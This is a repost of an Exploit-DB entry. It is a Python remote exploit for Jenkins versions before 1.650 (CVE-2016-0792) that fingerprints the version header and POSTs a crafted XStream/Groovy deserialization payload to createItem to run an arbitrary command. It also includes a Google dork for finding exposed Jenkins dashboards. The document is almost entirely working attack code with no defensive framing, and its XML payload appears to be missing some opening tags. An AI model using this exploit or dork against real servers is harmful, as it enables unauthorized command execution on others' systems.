Jenkins < 1.650 - Java Deserialization

Exploit Database
108 阅读

作者： Janusz Piechówka

日期： 2017-07-30
类别：
- remote
平台：
- java
来源：https://www.exploit-db.com/exploits/42394/

import random

import string

from decimal import Decimal

import requests

from requests.exceptions import RequestException

# Exploit Title: Jenkins CVE-2016-0792 Deserialization Remote Exploit

# Google Dork: intitle: "Dashboard [Jenkins]" + "Manage Jenkins"

# Date: 30-07-2017

# Exploit Author: Janusz Piechówka

# Github: https://github.com/jpiechowka/jenkins-cve-2016-0792

# Vendor Homepage: https://jenkins.io/

# Version: Versions before 1.650 and LTS before 1.642.2

# Tested on: Debian

# CVE : CVE-2016-0792

def prepare_payload(command):

splitCommand = command.split()

preparedCommands = ''

for entry in splitCommand:

preparedCommands += f'<string>{entry}</string>'

xml = f'''

<map>

<entry>

<groovy.util.Expando>

<entry>

<string>hashCode</string>

<org.codehaus.groovy.runtime.MethodClosure>

<command>{preparedCommands}</command>

</owner>

<method>start</method>

</org.codehaus.groovy.runtime.MethodClosure>

</entry>

</expandoProperties>

</groovy.util.Expando>

</entry>

</map>'''

return xml

def exploit(url, command):

print(f'[*] STARTING')

try:

print(f'[+] Trying to exploit Jenkins running at address: {url}')

# Perform initial URL check to see if server is online and returns correct response code using HEAD request

headResponse = requests.head(url, timeout=30)

if headResponse.status_code == requests.codes.ok:

print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}')

# Check if X-Jenkins header containing version is present then proceed

jenkinsVersionHeader = headResponse.headers.get('X-Jenkins')

if jenkinsVersionHeader is not None:

# Strip version after second dot from header to perform conversion to Decimal

stripCharacter = "."

strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2])

# Perform basic version check

if Decimal(strippedVersion) < 1.650:

print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE')

# Prepare payload

payload = prepare_payload(command)

# Prepare POST url

randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8))

if url.endswith('/'):

postUrl = f'{url}createItem?name={randomJobName}'

else:

postUrl = f'{url}/createItem?name={randomJobName}'

print(f'[+] Will POST to {postUrl}')

# Try to execute passed command

postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'})

print(f'[+] Exploit launched ')

# 500 response code is ok here

print(f'[+] Response code: {postResponse.status_code} ')

if postResponse.status_code == 500:

print('[+] SUCCESS')

else:

print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED')

else:

print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable')

else:

print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}')

else:

print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}')

except RequestException as ex:

print(f'[-] [ERROR] Request exception: {ex}')

print('[*] FINISHED')